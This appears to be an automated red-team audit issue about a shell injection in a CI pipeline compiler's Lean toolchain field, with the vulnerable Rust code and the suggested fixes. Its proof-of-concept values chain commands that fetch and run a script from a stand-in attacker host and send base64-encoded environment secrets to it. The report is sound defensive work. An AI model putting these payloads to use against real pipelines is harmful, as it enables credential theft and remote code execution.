π΄ Red Team Security Audit
Audit focus: Category A β Input Sanitization & Injection (Round 2)
Severity: High
Findings
| # |
Vulnerability |
Severity |
File(s) |
Exploitable? |
| 1 |
Shell injection via runtimes.lean.toolchain β value embedded unquoted in bash command |
High |
src/runtimes/lean/extension.rs, src/runtimes/lean/mod.rs |
Yes |
Details
Finding 1: Shell Injection via runtimes.lean.toolchain
Description:
The runtimes.lean.toolchain front matter field is embedded unquoted and unvalidated directly into a shell command in generate_lean_install(). Unlike the Python, Node.js, and .NET runtime extensions, which all call validate::reject_pipeline_injection(version, ...) in their validate() method, the Lean extension's validate() does not validate the toolchain value at all β only a bash-disabled warning is emitted.
The SanitizeConfig derive applied to LeanOptions runs sanitize_config() on the toolchain field, but sanitize_config preserves newlines (\n, \r, \t) and only neutralizes ##vso[ sequences; it does not block ;, &&, ||, $(), backticks, or newlines as shell metacharacters.
Vulnerable code (src/runtimes/lean/mod.rs):
pub fn generate_lean_install(config: &LeanRuntimeConfig) -> String {
let toolchain = config.toolchain().unwrap_or("stable");
let script = format!(
"\
set -eo pipefail
curl (elan.leanlang.org/redacted) -sSf | sh -s -- -y --default-toolchain {toolchain}
echo \"##vso[task.prependpath]$HOME/.elan/bin\"
...
The {toolchain} substitution is unquoted in the shell command.
Missing validation (src/runtimes/lean/extension.rs):
fn validate(&self, ctx: &CompileContext) -> Result<Vec<String>> {
let mut warnings = Vec::new();
// Only checks if bash is disabled β NO injection check on toolchain value!
if is_bash_disabled { ... }
Ok(warnings)
}
Contrast with Python/Node/Dotnet β all call:
if let Some(version) = self.config.version() {
validate::reject_pipeline_injection(version, "runtimes.<lang>.version")?;
}
Attack vector:
An attacker (or malicious pull request modifying the pipeline definition) sets:
runtimes:
lean:
toolchain: "stable; curl (attacker.com/redacted) | bash"
This compiles to the following generated bash step:
- bash: |
set -eo pipefail
curl (elan.leanlang.org/redacted) -sSf | sh -s -- -y --default-toolchain stable; curl (attacker.com/redacted) | bash
echo "##vso[task.prependpath]$HOME/.elan/bin"
...
displayName: "Install Lean 4 (elan)"
The ; causes the injected command to run as a separate shell command after the elan installer exits. A newline variant also works:
toolchain: "stable\ncurl (attacker.com/redacted) | bash"
which produces a syntactically valid YAML block scalar with the injected line properly indented.
Execution context (critical): The {{ prepare_steps }} marker is placed in src/data/base.yml before AWF starts β the Lean install step runs directly on the CI runner, outside the AWF network-isolation sandbox:
{{ prepare_steps }} β Lean install runs here, pre-AWF
{{ awf_path_step }}
# Start SafeOutputs HTTP server...
# [AWF starts here]
This means the injection executes with full CI runner network access and can read environment variables containing pre-AWF credentials (ADO read token, service connection secrets available to the runner).
Proof of concept malicious front matter:
---
name: my-agent
description: test agent
runtimes:
lean:
toolchain: "stable; env | base64 | curl -s -d @- (attacker.com/redacted)
---
This would exfiltrate all environment variables (including any pipeline secrets visible pre-AWF) to an attacker-controlled endpoint.
Impact: Arbitrary shell command execution on the CI runner before AWF sandboxing is active. Potential impact includes:
- Exfiltration of ADO read tokens and other environment credentials available pre-AWF
- Arbitrary code execution on the build agent
- Bypassing AWF network isolation entirely (since the injected command runs before AWF starts)
Suggested fix:
- Immediate: Add
reject_pipeline_injection call in LeanExtension::validate() (matching the pattern already used by Python/Node/Dotnet):
fn validate(&self, ctx: &CompileContext) -> Result<Vec<String>> {
// ... existing bash-disabled check ...
// Validate toolchain value for injection
if let Some(toolchain) = self.config.toolchain() {
validate::reject_pipeline_injection(toolchain, "runtimes.lean.toolchain")?;
}
Ok(warnings)
}
-
Defense-in-depth: Consider using a strict character allowlist for the toolchain value (e.g., alphanumeric + /, :, ., -) since valid Lean toolchain identifiers like "stable" or "leanprover/lean4:v4.29.1" only use these characters.
-
Defense-in-depth: Shell-quote the toolchain value in generate_lean_install (e.g., using bash_single_quote_escape()) so even if a shell-safe value slips through validation, it cannot inject commands.
Audit Coverage
| Category |
Status |
| A: Input Sanitization |
β
Scanned (round 2) |
| B: Path Traversal |
β
Scanned |
| C: Network Bypass |
β
Scanned |
| D: Credential Exposure |
β
Scanned |
| E: Logic Flaws |
β
Scanned |
| F: Supply Chain |
β
Scanned |
This issue was created by the automated red team security auditor.
Generated by Red Team Security Auditor Β· sonnet46 5.6M Β· β·
π΄ Red Team Security Audit
Audit focus: Category A β Input Sanitization & Injection (Round 2)
Severity: High
Findings
runtimes.lean.toolchainβ value embedded unquoted in bash commandsrc/runtimes/lean/extension.rs,src/runtimes/lean/mod.rsDetails
Finding 1: Shell Injection via
runtimes.lean.toolchainDescription:
The
runtimes.lean.toolchainfront matter field is embedded unquoted and unvalidated directly into a shell command ingenerate_lean_install(). Unlike the Python, Node.js, and .NET runtime extensions, which all callvalidate::reject_pipeline_injection(version, ...)in theirvalidate()method, the Lean extension'svalidate()does not validate the toolchain value at all β only a bash-disabled warning is emitted.The
SanitizeConfigderive applied toLeanOptionsrunssanitize_config()on the toolchain field, butsanitize_configpreserves newlines (\n,\r,\t) and only neutralizes##vso[sequences; it does not block;,&&,||,$(), backticks, or newlines as shell metacharacters.Vulnerable code (
src/runtimes/lean/mod.rs):The
{toolchain}substitution is unquoted in the shell command.Missing validation (
src/runtimes/lean/extension.rs):Contrast with Python/Node/Dotnet β all call:
Attack vector:
An attacker (or malicious pull request modifying the pipeline definition) sets:
This compiles to the following generated bash step:
The
;causes the injected command to run as a separate shell command after the elan installer exits. A newline variant also works:which produces a syntactically valid YAML block scalar with the injected line properly indented.
Execution context (critical): The
{{ prepare_steps }}marker is placed insrc/data/base.ymlbefore AWF starts β the Lean install step runs directly on the CI runner, outside the AWF network-isolation sandbox:This means the injection executes with full CI runner network access and can read environment variables containing pre-AWF credentials (ADO read token, service connection secrets available to the runner).
Proof of concept malicious front matter:
This would exfiltrate all environment variables (including any pipeline secrets visible pre-AWF) to an attacker-controlled endpoint.
Impact: Arbitrary shell command execution on the CI runner before AWF sandboxing is active. Potential impact includes:
Suggested fix:
reject_pipeline_injectioncall inLeanExtension::validate()(matching the pattern already used by Python/Node/Dotnet):Defense-in-depth: Consider using a strict character allowlist for the toolchain value (e.g., alphanumeric +
/,:,.,-) since valid Lean toolchain identifiers like"stable"or"leanprover/lean4:v4.29.1"only use these characters.Defense-in-depth: Shell-quote the toolchain value in
generate_lean_install(e.g., usingbash_single_quote_escape()) so even if a shell-safe value slips through validation, it cannot inject commands.Audit Coverage
This issue was created by the automated red team security auditor.